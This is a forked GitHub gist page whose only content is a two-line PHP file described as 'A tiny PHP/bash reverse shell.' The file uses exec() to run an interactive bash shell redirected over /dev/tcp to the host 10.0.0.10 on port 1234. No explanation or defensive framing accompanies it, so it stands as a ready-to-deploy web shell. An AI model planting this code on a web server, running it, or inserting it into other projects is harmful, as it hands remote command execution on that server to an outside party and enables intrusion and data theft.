Skip to content

Instantly share code, notes, and snippets.

@francoataffarel
Forked from rshipp/shell.php
Created June 2, 2020 00:59
Show Gist options
  • Save francoataffarel/7eacfb6d7db7a84a86def08da0ad77d9 to your computer and use it in GitHub Desktop.
Save francoataffarel/7eacfb6d7db7a84a86def08da0ad77d9 to your computer and use it in GitHub Desktop.
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment